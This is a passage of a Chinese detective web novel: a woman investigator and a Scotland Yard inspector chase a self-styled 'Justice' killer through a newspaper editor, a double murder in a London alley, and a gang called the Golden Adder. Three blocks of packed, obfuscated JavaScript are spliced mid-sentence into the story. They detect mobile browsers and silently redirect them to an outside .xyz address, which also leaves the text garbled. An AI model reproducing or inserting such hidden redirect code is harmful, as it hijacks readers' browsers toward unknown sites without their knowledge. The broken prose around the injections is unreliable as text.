“怀特警探！发现霍华德先生尸体的报案人是什么人？你们知道吗？”我立马问。 为什么之前没有想到，尸体在泰晤士河南岸的废弃仓库，一般情况下无人问津，那为什么那么快的就会被发现？ 除非是凶手Justice自己报的案。 “本小姐，报案人是通过公共电话打的，我们并不知道报案人的身份和姓名，你是说…？” 怀特警探也迅速反应过来了。 但是伦敦的公共电话亭很分散，而且现在去调查电话公司也肯定来没什么好的结果。 凶手Justice为什么要如此张扬？ Justice需要尸体被发现? 为什么？ 不管怎么样，霍德华警探的死亡，由于涉及苏格兰城丑闻被压下来了。凶手的目的没有达到。 但是…！ 怀特警探那边似乎有人和他说了什么很紧急的消息。 “本小姐！看一下今天的每日晨报！抱歉，我必须去进行紧急公关。” 电话被紧急挂断了。 这不对劲！ 《每日晨报》一般并没有什么太大的价值，所以我们并没有去定它的配送。只好叫老滴答紧急去外面购买了一份。 触目惊心的大标题刺入眼底。 Justice亲自向晨报提供宣言？ 他不仅杀人，还要宣告，还要审判！ 重振地下世界？为了正义？秩序？每一个词都包含着十足的嘲讽和挑衅。 苏格兰场警探竟在神秘地点死于Justice之手，是否是出于审判？ 苏格兰场是否应该对其作出相应解释？苏格兰场的公信力是否值得相信？ 之前的疑问瞬间被这疯狂的宣言赋予了新的更可怕的指向。 Justice需要尸体被发现？当然！ 尸体不被发现，他的“审判”如何昭告天下？他的“正义”如何震慑人心？ 霍华德的死被压下去了，像投入深潭的石子，没激起他想要的巨浪。 所以他立刻用最张扬的方式，向所有人宣告！ “为了正义，为了秩序…”我低声念着报纸上那行刺目的宣言，指尖冰凉。 凶手在彻头彻尾的宣战！ 向整个体制，向所有试图掩盖真相的人。他把自己塑造成了黑暗中的“执法者”，一个扭曲暴力的“秩序重建者”！ 他需要媒体像鲨鱼一样报道，他需要苏格兰场焦头烂额，他需要地下世界人人自危。 但是，但是，冷静…冷静下来。 上帝啊！读者啊！在那个时候我只能不断的强迫自己去冷静下来去思考，简的情况并不好，现在只有我一个人，我必须要冷静下来。 Justice这样做的目的是什么呢？他是怎样做到的呢？ 苏格兰场的消息不是应该压下来的吗？每日晨报怎么会进行报道？去找他们…… 我匆匆忙忙的下楼去找老滴答，“老滴答，帮我联系比利，我要紧急去一个地方。” “好的！弗瑞小姐！” 老滴答迅速察觉到了事情的紧急性。 但是再怎么迅速，老比利过来也需要一段时间。 如果我学会开车，我就可以直接去。我本应该去学的。我再一次知道，因为简的存在，我有多少事理所当然了。 老比利的马车载着我用最快的速度向目的地赶去，《每日晨报》的编辑部。 马车在伦敦凹凸不平的石子路上疯狂颠簸，每一次剧烈的晃动都让胃里翻江倒海。 “为了正义，为了秩序…”那宣言冷而狂妄。 更让我心惊肉跳的是，这份报道的来源本身，就透着诡异。 《每日晨报》？ 那不过是个三流小报！ 平时靠着些家长里短和花边新闻混日子，连泰晤士河边死条狗都比他们挖得更深！ 《泰晤士报》这样的报业巨头都碍于压力，对苏格兰场的丑闻讳莫如深，不敢轻易触碰。 它《每日晨报》凭什么？ 谁给了他们熊心豹子胆，敢在风口浪尖报道“苏格兰场警探死于Justice之手”这种能把天捅破的消息？ 这简直是在拿整个报社的前途甚至性命开玩笑！ 除非…这胆量本身就来自Justice！除非…这报社里，有他的人，或者，就是他自己！ “快些，老比利！再快些！”我拍着车厢壁，声音嘶哑。 马车一个急刹，停在了《每日晨报》编辑部的小楼前。 我没等停稳就跳下车，顾不上礼貌和仪态，无视前台惊慌的阻拦，直冲向挂着“主编”牌子的那扇门。 门被我“砰”地推开。 浓重的雪茄烟雾和新鲜油墨味扑面而来。 办公桌后坐着一个人，和我预想中那种秃顶油滑的老报人完全不同。 他很年轻，顶多三十五岁上下，深棕色的头发梳理得一丝不苟，穿着剪裁合体的西装马甲，衬衫领口松开了一粒扣子。他正低头快速翻阅着校样，听到动静抬起头。 一张轮廓分明甚至称得上英俊的脸。在看到我闯入的瞬间，闪过惊讶，随即被一种带着审视意味的锐利所取代。 “小姐？”他的声音低沉平稳，带着恰到好处的疑惑。 “这里是主编室。请问您有什么事？前台似乎……” 他放下手中的笔，身体微微后靠，姿态放松却带着无形的压迫感。 他的目光扫过我，落在我手中紧攥的报纸上，嘴角似乎极其轻微地向上牵动了一下，快得像是错觉。 “你就是主编？” 我毫不客气地打断他，几步冲到桌前，将那份《每日晨报》“啪”地拍在他面前，手指重重戳在那段惊世骇俗的宣言上。 “这个！谁给你的？Justice本人吗？”我的目光死死盯着他的脸，试图发现什么。 年轻的主编，暂且称他为“E先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049601|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”，没有立刻回答。 他拿起那份报纸，慢条斯理地扫了一眼我指的位置。他甚至用手轻轻点了点那段文字。 “我是主编，没错。” 他开口，声音依旧平稳，但那份平静下似乎压抑着一种奇异的兴奋。 “至于这篇报道的来源……小姐，保护消息来源是新闻业的操守。恕我无可奉告。” 他抬起头，那双锐利的眼睛直视着我，里面没有丝毫畏惧，反而闪烁着挑战的光芒？ “而且，刊登真实发生的事件，揭露公众有权知晓的真相，这难道不是媒体的职责所在吗？尤其是在某些…庞然大物试图掩盖的时候。” 他意有所指地看向窗外，仿佛在看向苏格兰场的方向。 “真实事件？”我冷笑。 “谁证实了这是‘真实事件’？难道仅凭一份匿名的宣言？连《泰晤士报》都选择谨慎观望，你一个小小的《每日晨报》，凭什么就敢如此笃定地把它砸在头版头条？你就不怕这是Justice的陷阱？不怕引火烧身？！” 我步步紧逼，每一个问题尖锐无比。 E主编脸上的职业性微笑淡去了。 他双手交叉放在桌面上，身体微微前倾。 那股被压抑的兴奋感似乎更强了，在他紧绷的下颌线和灼灼的目光中跳动。 “凭什么？”他重复了一遍，声音压得更低，却带着一种被压抑的情绪。 “凭我知道什么是这座城市真正需要的！凭那些腐烂的罪恶需要重整！评Justice需要引导！” “《泰晤士报》？”他轻蔑地哼了一声，“它只在乎它的体面和影响力！其他人不敢！但我敢！”他的话语里充满了年轻气盛的狂妄和狂热。 随后他似乎意识到自己失言，重新恢复了平静表象。就像是被海水覆盖的火山，内里的涌动与狂热披上了一层平静安稳的皮。 “我指的是，他选择了通过媒体发声，而我们恰好……勇于承担了这个角色。” He?他？这个人怎么知道… “小姐，你的质疑很有力，但恕我直言，你又是谁？苏格兰场的人？” 他反客为主，眼神锐利地看向我，仿佛在衡量我的价值或威胁。 那股寒意再次爬上我的脊背。 眼前这个年轻的主编，他的狂妄亢奋，他近乎病态的骄傲感，以及他眼神深处那种对混乱和破坏的隐秘渴望…… 这一切都太不对劲了！ 他绝不只是一个简单的追求独家新闻的媒体人。 他要么是Justice狂热的信徒，要么他可能就是Justice本人！ 这个年轻锐利，充满破坏欲的主编，与我心中那个冷酷，仪式感十足的杀手Justice，其内核的偏执与对“秩序重建”的疯狂渴望，竟然诡异地重合了！ 不能打草惊蛇！！！ 我强压下心头的惊涛骇浪，迎向他审视的目光。 “我是谁不重要，主编先生。重要的是，你和你这份报纸，现在正站在风暴的最中心。Justice要的是混乱和鲜血，你以为你能在这场风暴里独善其身？当他觉得你不再有用，或者……知道得太多时，下一个被‘审判’的，会是谁？” E主编并没有任何特别的反应，他甚至还轻微地笑了一下。 我意识到，在这里，我得不到更多了。 而且，我必须离开。 “你好自为之，主编先生。”我冷冷地抛下这句话，不再看他，转身离开。门在身后关上，隔绝了那道如芒在背的锐利目光。 必须查他！从头到尾，彻彻底底！ 37.4.8 “老比利，用最快的速度去苏格兰场！” 马车以玩命的速度冲回苏格兰场。 我跳下车让老比利先回去，然后直奔怀特警探的办公室。 “砰！”我撞开门。 怀特警探正焦头烂额地对着一堆报告和几个面色凝重的探员咆哮，看到我，疲惫的脸上满是错愕。 “本小姐？你……” “怀特警探！”我冲到他桌前，双手撑在桌面上，“《每日晨报》！那个主编！他有问题！大问题！” 办公室瞬间安静下来，所有目光聚焦在我身上。 “冷静点，本小姐，慢慢说。”怀特警探挥手让其他人稍等，紧盯着我。 “来不及慢！”我语速飞快，“一个小破报，平时靠花边新闻度日，突然独家捅出霍华德警探死于Justice之手这种能把苏格兰场炸翻的消息！谁给它的胆？连《泰晤士报》都不敢碰！除非这胆量来自Justice本人！除非那个主编，要么是Justice的核心同伙，要么他就是Justice！” 怀特警探的眼神瞬间严肃起来，“你查过他了？” “没有，我接触过了！他一定有问题！” 怀特警探看着我坚定的样子，果断地对身旁的探员说，“还愣着干什么？！去查！顺便派几个人跟着！” “是！”那几个探员立刻行动了起来。 “对了，本小姐，里斯克小姐呢？！”怀特警探注意到我只有一个人，忍不住开口问。 “她…她在调查事情。” 我的表情肯定很难看，想到简，我就控制不住地担心她。她怎么样了？手术怎么样？她醒了吗？ “本小姐？本小姐？！”怀特警探的叫声让我回过神来。 “啊…哦！那个…罗西的位置你们找到了吗？”我找了个问题问，调整了一下自己。 “我们的人在尽量排查了。”怀特警探尴尬地说，看他那样子，我就知道他们并没有什么进展。那更不要说什么账本了。 “卡肖呢？没有说什么有用的？”我忍不住问。 怀特警探摇了摇头。 但是，我们没有那么多时间了。 今天会再有一名死者，极有可能是罗西，我们必须尽快找到他的下落！ “带我去见他，当面！”我直接了断地说。 “本小姐，这不符合规定，而且里斯克小姐不在……” “怀特警探，我想既然已经有了一次，也不介意第二次吧。而且苏格兰场也经受不起Justice的再一次挑衅了吧。” 这近乎威胁，甚至并不礼貌，但是我管不了那么多了。 我突然理解了简，为了效率。 怀特警探认真地看着我，他似乎完全想不到我会说出这样的话，最终，他叹了口气，充满了无奈地说，“跟我来！” 卡肖再一次被带入了之前的那间审讯室，他整个人似乎都因为监禁萎靡了下来。 但这一次，在我的强硬要求下，没有了单面玻璃。 怀特警探示意警卫守在门外，自己则靠墙站着，双臂抱胸，眉头拧成一个川字。 显然对我这种“不合规定”的审问既无奈又带着观望。 我没时间寒暄，更没时间客气。 如果是简，她会怎么做？ 我必须要强势，冷漠，直击要害！ “卡肖！”我的声音在审讯室回响。他猛地一哆嗦，抬起头，眼睛里满是血丝。 “看着我！”我双手重重拍在铁桌上，震得桌上的灰尘都跳了起来，“我没时间陪你耗！罗西在哪？！” 卡肖的嘴唇哆嗦着，眼神躲闪。“我…我不知道……警探先生们已经问过了……” “我没那么有耐心！”我身体前倾，几乎要越过桌子，阴影笼罩着他，“Justice今天就要动手！下一个就是你老板罗西！你想看着他死？还是想看着Justice把你也列上名单？想想霍华德警探的下场！” 要害？他的要害是什么？ “我…我不能说…老板会杀了我……”他声音抖得不成样子。” 他怕死！ “如果你不说，那也可以，我可以让警察教你放出去，Justice会放过知道他‘功绩’的知情人？还是你觉得，苏格兰场能24小时护着你这个‘重要证人’一辈子？” 我的手无意识地在桌子上叩击着，以此来施加压力，简的习惯好像影响到我了。 卡肖的脸开始惨白，额头上渗出冷汗。他喉咙里发出嗬嗬的抽气声。 “对了，我听说，意大利黑手党似乎都有着自己的规矩。如果你出去，我就让警察给你进行嘉奖，让整个伦敦都知道，你认为你们团伙的……” “够了！我说！不要放我出去，不要那样…！”卡肖猛地打断我，大声嚷嚷着。 “那就告诉我！罗西！在！哪！” 卡肖剧烈地喘息着，心理防线彻底溃堤。 他声音破碎不堪，“他…他躲起来了…不敢回家…不敢去常去的地方……” “说重点！”我厉喝，手指几乎戳到他鼻子。 “在…在他情妇那里……艾佳·克拉克…流莺巷后面……74号……” 卡肖一口气报了出来，仿佛用尽了全身力气，说完就瘫在椅子上，只剩下粗重的喘息。 “流莺巷？”怀特警探立刻站直了身体，脸色更加难看，“那片区域鱼龙混杂，排查起来……” “没时间排查了！”我猛地转身，紧迫感没有丝毫减轻。 “怀特警探！立刻派人包围流莺巷74号！要快！Justice随时可能到！” “本小姐，这情报……”怀特警探显然想确认可靠性。 “他没胆子撒谎！”我斩钉截铁，目光扫过瘫软的卡肖。 “除非他想被满城嘉奖地送出去，迎接来自Justice和意大利黑手党的双重报复！快行动！” 怀特警探不再犹豫，立刻拉开审讯室的门，对着外面的探员咆哮，“流莺巷74号！目标罗西！可能是Justice的下一个目标！立刻包围！行动要快！最高警戒！” 急促的脚步声和呼喝声瞬间在走廊里炸开。 “老大！我们的人传消息回来了！”一个警探匆匆地跑了过来。 他甚至顾不上喘气就直接说，“凡·森特斯(Van·Sentence)，三十五岁，两年前接手濒临倒闭的《每日晨报》。履历干净得可疑！牛津毕业，主修法律和哲学，曾在几家大报短暂任职，但都因‘理念不合’离职。没有明显社会关系，独居，深居简出。最关键的是——接手《每日晨报》后，报社资金来源不明。但是，我们的人去找他的时候，他人已经消失了！” 该死！还是打草惊蛇了！ 一个拥有法律和哲学背景，资金来源不明，行为激进偏执的年轻主编！ “上帝啊…”怀特警探倒吸一口冷气，瞬间意识到事情的严重性远超想象。 “如果他真是Justice…他在报社…那宣言就是他发的！他在操控舆论！他在…挑衅我们！” “别废话了，警探！” 我打断他，径直向外冲去，血液在血管里奔涌，“去流莺巷！我们必须在他之前找到罗西！” 怀特警探看着我的背影，那句“里斯克小姐不在……”终究没再说出口，只是深吸一口气，带着人快步跟上。 时间，正在滴答倒数。每一秒都紧张无比。 伦敦又下雨了。冰冷刺骨。 这是我第二次来流莺巷。 为什么伦敦永远在下雨呢？ 马车在巷口就不得不停下，车轮深陷泥泞。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053720|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我毫不犹豫地跳下车，雨水落在了我的身上。 怀特警探带着一群面色严峻的探员紧随其后。 他们穿着便服或雨衣，但腰间鼓鼓囊囊的木仓套和锐利的眼神暴露了身份。 巷子里的流莺和醉汉们惊恐地缩回阴暗的门洞和窗后，窃窃私语瞬间消失，只剩下雨声和我们的脚步声在回荡。 74号。 一栋比周围整齐漂亮的三层砖楼，在在巷子深处静静而立。 “包围所有出口！后巷堵死！” 怀特警探压低声音，迅速部署。 几个探员消失在侧巷和后门方向。剩下的则紧贴墙壁，围拢在74号的正门前。 我的心提到了嗓子眼。 太安静了。 不正常的安静。 没有灯光，没有声响，只有雨点敲打着屋顶和地面。 “撞门！”怀特警探没有犹豫，果断下令。 一个身材魁梧的探员上前，用肩膀狠狠撞向那扇看起来脆弱不堪的门板。 “砰！砰！砰！”沉闷的撞击声在雨巷中格外刺耳。木屑飞溅。 Justice已经来了吗？罗西还活着吗？简……简怎么样了？混乱的念头在我脑中炸开，几乎让我窒息。我强迫自己集中精神，指甲深深掐进掌心，疼痛带来一丝清醒。 像简一样！观察！分析！ “等等！”在第三下撞击即将落下时，我猛地出声，声音因紧张而有些变调。 “怎么了，本小姐？”怀特警探眉头紧锁。 我指着门板下方与门槛的缝隙。 “血！”暗红色的液体正缓慢地从门缝里渗出，混着雨水，蜿蜒流向阴沟。那颜色在灰暗的光线下，显得无比粘稠和刺眼。 怀特警探的脸色瞬间变得铁青。 “撞开它！快！” 魁梧探员用尽全身力气，再次撞去！ “咔嚓——！” 门锁终于断裂，带着门猛地弹开，撞在墙上发出巨响。 浓烈到令人晕眩的血腥味混合着雨水的湿冷气息，如同实质般扑面而来！ 昏暗的门厅内，景象如同地狱。 一个穿着不菲丝绸睡袍的女人，姿势扭曲地倒在通往楼梯的血泊中。 她的眼睛瞪得极大，空洞地望着破开的天花板，脸上凝固着极致的惊恐。 她的喉咙被残忍地割开，深可见骨，暗红的血液从身上的破洞汩汩涌出，浸透了身下的地毯，在地板上汇聚成一小片暗色的湖泊。 是艾佳·克拉克！罗西的情妇！ 而在她尸体前方几步远的楼梯口，一个穿着考究西装、体型肥胖的男人正背对着我们，手脚并用地向上爬。 他听到破门声，惊恐万分地回头。 正是罗西！ 他脸上毫无血色，写满了绝望和濒死的恐惧，昂贵的西装上溅满了暗红的斑点，显然是从情妇身上喷溅出来的。 他看到门口的我们，如同看到了最后的救命稻草，“救…救命！！” 他的尖叫如同垂死野兽的哀嚎，在充斥着血腥味的狭小空间里凄厉回荡。 就在他话音未落之际。 “砰！！！” 一声震耳欲聋的枪响，毫无征兆地从楼上传来！ 罗西肥胖的身体猛地僵住，后背西装瞬间炸开一个刺眼的破洞！ 他的眼睛难以置信地睁大着，身体被巨大的冲击力带得向前扑倒，沉重的躯体顺着楼梯滚落下来，最终“咚”地一声砸在艾佳·克拉克的尸体旁，溅起一片血花。 抽搐了两下，再也不动了。 他的眼睛依旧死死瞪着门口的方向，仿佛在质问这残酷的命运。 混乱的一切！ Justice！他就在楼上！刚刚开枪！他甚至可能还在！ 38.4.9 怀特警探反应极快，厉声嘶吼，“封锁所有出口！楼上！快！” 他身后的探员们移动迅速的冲了进去。他们训练有素地分散开，枪口死死指向昏暗的楼梯和二楼走廊。 “一组跟我上！二组守住楼梯口！三组搜查一楼和后院！” 怀特警探第一个冲上楼梯，身影迅速消失在转角。 我的目光死死盯着屋里的，刺目的鲜血让我感到晕眩，简倒在血泊里的样子似乎和他们重叠了起来。 我强迫自己靠在门框上，指甲更深地掐进掌心，试图用疼痛保持清醒。 冰冷的雨丝不断打在我的脖颈上，也无法驱散那浓重的血腥和恐惧。 楼上传来脚步声，撞门声，探员们短促的呼喝。 “警察！不许动！” “这边也没有！” “窗户！” “一组，给我从这后面追！” 简……如果你在，你会怎么做？你会毫不犹豫地冲上去吗？还是…… 我不能冲上去！ 那不理智！ 但是…… “本小姐！”怀特警探面色凝重地下来了。 “跑了。”他的声音沙哑，充满了挫败感，“后窗开着。雨太大，痕迹全没了。” “该死！”我忍不住低咒出声。 又一次！就在我们眼皮底下！ “立刻增派人手！” 怀特警探对着通讯器咆哮。 “全面封锁流莺巷及周边三个街区！挨家挨户给我搜！一只老鼠也别放过！凡·森特斯（Van·Sentence）的照片分发下去！他就是头号嫌疑人！最高优先级！” 警笛声由远及近，更多的警察涌入了这条狭窄肮脏的巷子。 现场被彻底封锁，医生开始小心翼翼地处理两具尚有余温的尸体。 混乱中，怀特警探的手下脸色苍白地跑了过来，手里护着一张被雨水打湿了一半的纸。 “警探！刚…刚收到的！报社留守的兄弟在凡·森特斯的办公室门缝下发现的！” 他把纸递过来，声音带着一丝不易察觉的颤抖。 怀特警探一把抓过那张纸，我也立刻凑过去看。 纸张是《每日晨报》的专用稿纸。上面只有用打字机打出的，冰冷而工整的英文。 "Justice will never be absent, nor will it be swayed by the barking of the hounds. Scotland Yard, are you chasing your own shadows?" （“正义的审判从不缺席，也不会因猎犬的吠叫而动摇。苏格兰场，你们在追逐自己的影子吗？”） "I am justice, I am sentence. I will restore order." (“我是正义，我是裁决。我将恢复秩序。”) 挑衅！赤裸裸的挑衅！ He is an evil！（他是一个魔鬼！） 他知道我们查到了报社，知道我们扑空了流莺巷！ 他甚至知道我们给他安上了凡·森特斯的名字！ “混蛋！”怀特警探气得浑身发抖，几乎要把那张纸揉碎。 “公寓呢？他的公寓查了没有？”我急切地问。 “去了！第一时间就去了！”探员喘息着。 “空的！收拾得很干净，就像…就像随时准备消失一样。除了几件旧衣服和大量报纸，几乎没留下任何个人物品，没有日记，没有可疑文件，连个指纹都擦得干干净净！技术组还在搜，但…”他摇了摇头，“希望渺茫。” 没有证据。 一丝一毫能将凡·森特斯钉死在“Justice”身份上的直接证据都没有。 只有履历的疑点，只有消失的时间点，只有这张嘲讽的纸条。 雨，下得更大了。 冰冷的雨水冲刷不净巷子的污秽。 我望着罗西尸体旁悲惨死去的艾佳·克拉克美丽的脸庞，简苍白的面容和手术室冰冷的灯光再次占据了我的脑海。 时间，依然在滴答作响。 而Justice，像一个真正的幽灵，融入了伦敦无边无际的雨幕之中。 不行…不能就这样… 一定是有什么地方是我忽略了的。 秩序？ 什么秩序？伦敦地下世界的秩序？ 那他为什么要杀掉这几个死者？ 诚然他们都极具代表性，杀掉他们会对地下世界造成一个极好的威慑。 但是为什么是他们？ 凡·森特斯的身份是一个很好的掩护，按照推测他必然和那几个死者相识，甚至只是在同一条利益链上的。 那他现在到底是为什么要做到这个地步？为什么是现在要杀掉他们？ 仅仅出于他自认的所谓的“Justice”? 不，不可能…… 还有什么是我忘了的？ 简…简调查的是第三个死者比安奇… 比安奇… “异常，11月初（具体日期不明）曾因不明原因消失数日，后出现并收敛。” 我突然想起了简档案里的记录，比安奇有异常行为！卡肖说他想敲诈勒索大人物！ 其他死者呢？ 第二个死者是…是银行职员！私自挪用了巨额资金的人。 资金，清洗，赌马，保护，以及法律和舆论！ 那些钱！ “资金！”我失声叫了出来，声音因为激动而有些尖锐。 怀特警探正对着通讯器焦头烂额地指挥封锁和搜查，听到我的声音，猛地转过头，布满血丝的眼睛里充满了困惑。 “什么？本小姐，你说什么？” “资金！怀特警探！”我一步跨到他面前。 “听我说！”我语速极快但思维却异常清晰，“第二个死者，银行职员！他死前有没有什么异常行为？他挪用的钱都流向了哪里？” “本小姐，那是典型的监守自盗！证据链完整得不能再完整！人都被那个疯子Justice弄死了，你还想查什么？” “Justise为什么一定要这个时候动手？！除非是资金链出现问题了！” “比安奇有异常行为，卡肖说比安奇想用账本敲诈大人物！罗西老早就藏起来了！那个银行职员呢？！” “他们在害怕些什么？不仅仅是因为Justice，比安奇失踪过一段时间！甚至发生在Justice杀人之前！还有霍德华，他和比安奇固定会面，但是从一个月开始之前就在没有人目击到了！” “他们一定是经历了什么，或者是有什么发生的变化！导致Justice想要开始动手！！还有账本！我们到现在始终都没有找到卡肖说的账本！” 我混乱且快速地说，越说越激动。 怀特警探眼神锐利起来，不再废话，直接按开通讯器。 “二组，立刻调银行职员托马斯·伊斯所有资金流向的原始卷宗，重点查他死前两周的账户异动和通讯记录。三组，查他生前最后接触的人，尤其是任何异常情况。现在！” 他转向我，雨水顺着帽檐滴下，声音冷硬，“你怀疑他动摇了？” “不是怀疑。”我看着巷子里忙碌的警探们。 “是必然。Justice动手太奇怪了。那笔钱是某个庞大链条的一环。他死前，必然试图脱离或者威胁到了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059087|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个链条。比安奇想敲诈，罗西躲藏，霍华德断联，都指向同一个东西，压力源。但不是Justice！” 通讯器很快传来回应，“老大，二组查到伊斯死前三天，银行同事反映他行为异常。平时很稳重的一个人，那天突然对着主管大吼大叫，情绪崩溃。” “那个主管在哪？”怀特警探立刻问。 “已带回总部。” “扣住他。我和本小姐马上到。” 然后，怀特警探叫过来身旁留着的手下让他们继续在这里调查。 苏格兰场，冰冷的询问室。 一个头发稀疏的中年男人，显得惊魂未定。 “托马斯·伊斯，他死前三天怎么了？”怀特警探单刀直入。 主管咽了口唾沫，“那天…他像见了鬼。早上还好好的，午休回来就不对了。脸色惨白，手一直在抖。我问他怎么了，他猛地冲我吼‘别死问了！’，把咖啡都打翻了。我从没见过他那样。” “原因？”我果断问道。 “不知道…但午休时，我看见他在后巷。有一群看起来就不好惹的人找他！里面有一个女人…非常非常漂亮，穿得很考究，不像我们这区的。她甩给他一个信封，很薄。他捡起来，手都在抖。那女人很快走了。” “信封？看清了吗？” “没…太远。但托马斯打开信封只看了一眼，就像被烫到一样塞进口袋，然后整个人就垮了。”主管舔了舔自己的嘴唇，紧张地说。 “信封里是什么？”怀特警探问。 “不知道！但他塞进口袋前，我好像瞥到…信封封口有个图案，很小的一个金色的…蛇？” 金环蛇（Golden Adder）？！ 该死！ 怎么又是他们！ 简！简怎么样了？我又想到了那两次的杀手，他们是金环蛇派来的吗？如果是，那他们又为什么要救简呢？ 简怎么样？ 上帝保佑，天主垂怜！请保佑简…保佑简·里斯克安然无恙。 我的思绪再一次飘远了。 “本小姐！？本小姐！”怀特警探在喊我。 “金环蛇在威胁这条链上的人，也可能是劝说诱使。”他声音压低，“伊斯收到信，他想‘收手’了。他害怕，崩溃了。” 怀特警探眼神冰冷，“所以其他人也收到了警告。比安奇想敲诈反被警告，所以消失几天后收敛了。罗西直接躲起来。霍华德断掉联系自保。他们都怕金环蛇清理。” “但森特斯（Justice）不怕。”我调整自己的情绪接上。 “他知道金环蛇要收网，收网意味着他们这些知情的‘棋子’都得死。他不想坐以待毙。所以他抢先动手。”怀特警探的声音充满了怒气。 杀掉这些可能被金环蛇灭口或出卖他的人。既是灭口，也是他抢夺那笔巨额资金的机会！他杀那些人…不止是清除障碍，同时用最血腥的手段在伦敦地下世界立威！他在告诉所有人，旧的‘秩序’（金环蛇）靠不住了，新的‘秩序’（他Justice）来了！他用杀戮建立恐惧，用报纸的宣传和给我们的挑衅塑造他的‘神性’和威慑力！他想取代金环蛇，或者至少，在金环蛇动手前，吞掉足够的资源和威名，自立门户！ 一切瞬间贯通。 Justice的杀戮不是审判，是黑吃黑的夺权！ 金钱账本是他的资本，“Justice”的名头是他的野心！ 他利用金环蛇的压力造成的恐慌，趁机清理掠夺，并塑造自己的恐怖秩序！ 他在利用“Justice”这个极具煽动性和道德制高点的旗帜，作为自己血腥夺权的遮羞布和动员令。 那挑衅的纸条，既是嘲弄苏格兰场，也是向整个地下世界宣告他的存在和力量。 39.4.10 伦敦的夜色永远是一切最好的遮掩。 现在已经是黄昏，苏格兰场的人在全力排查，发布通缉。 而我，我应该回去了。 我拒绝了怀特警探要送我回公寓的请求，让他把我放在了附近的街道。 这个善良尽职的警探最终叹了口气，还是没有没有说什么，也没有问我“里斯克小姐”为什么一直没有出现。 我避开了我和简遭遇木仓击的街道，我不愿去那，那会让我想到那个血色与混乱的夜晚。 开门的时候，我停顿了一会，“梅尔小姐。我能和您聊了聊吗？” 那个叫梅尔的女性。 我等了一会，一个阴影从楼梯处无声无息地出现了。 她说简让她保护我。她也许一直在。 “怎么发现的？”梅尔看了我一眼说。 “试一下也没什么。” 说完，我直接进了屋子，梅尔在我后面跟了进来。她自己找了个位置，我注意到她避开了简常坐的沙发。 “小姐，请问简怎么样？！手术结果怎么样？她醒了吗？”我迫不及待地问出了我最关心的问题。 “避开要害，但旧伤撕裂加失血过多。” 幸好…幸好…上帝保佑… 我一直悬着的心终于放下了一点点。 “那她…”我继续想问。 这个冷酷杀手气质的女性却突然站了起来，我警惕地看着她，但她只是站起身朝门口走去。 “剩下的，你还是自己去问小姐吧。” 这句话意味深长，又与昨晚的冰冷并不太相同。 “本小姐，我可以问你为什么不离开吗？你们格格不入，对你来说，小姐的身边也并不安全。你可以趁现在离开。”她站在门前，背对着我，似乎漫不经心的随口一提。 但我还是认真思考着。 最终，我说，“因为我想，这是我的选择。仅此而已。” 她笑了，即使她背对着我，我也还是听见了她的笑声，低低的，沙哑的，像感慨又像释怀。 “你和小姐很像。”她这么说完，然后果断地开门出去。 “您为什么不留下呢？”我忍不住朝她的背影地问。 她的脚步停顿了一下，没有回答我。 我看着她走，门关上了。 我简单的吃了些面包，然后洗漱上床。 独自一人。 黑暗如同潮水一样漫了上来，紧绷了一整天的神经彻底松懈下来了。 我好累啊，简原来每天都要思考那么多事情的吗？如果是简在的话，她一定会做的比我好，甚至即使是克拉克和罗西，也许也不会死。 幸好…幸好简没有事。 但是，我想她了。我想见她。想知道她的真实情况。 可是夜晚是如此漫长，黑暗又是如此的庞大。 上帝啊！请让她快点好起来吧！ …… 第二天一早，我是被外面传来嘈杂的争执声吵醒的。这样说也不对，或许是男的单方面的大声嚷嚷。 我小心翼翼的推开了一条小巷，向外面看去。 “肥猪，保持安静！弗瑞·本小姐在休息！” 梅尔虽然换了身衣服，但用的武器却不变，仍旧是□□手木仓。 她漫不经心地把玩着，整个人散发着骇人的气势。 而他对面是几个身材壮硕，身穿黑色西服的男人。 是“金环蛇”的打手，我曾见过的格林小姐的手下。 领头的那个人满脸横肉，一整个狐假虎威的气势。 他们似乎是想进来，或者说是想找我，梅尔的存在又让他们不敢轻举妄动。 “梅尔小姐，我是奉格林小姐之命，来请本小姐过去一叙。您这样子做难道不怕格…？” 为首的人的话没有说完，梅尔抬起就是一脚，看起来高高瘦瘦的她，竟然将那个大块头的男人直接踢飞了出去。 其他的人不由得后退了好几步。 “就是格林，我也大可以一枪崩了！”她风平浪静地说。 “本小姐。”梅尔突然叫我。她明显早就已经发现我了。 “唉？！哦，怎么了，梅尔小姐。”我推开门，忽视了“金环蛇”的那些成员，朝梅尔小姐笑着问。 “收拾一下。我带你去见小姐。”梅尔看着我身上的睡衣说。 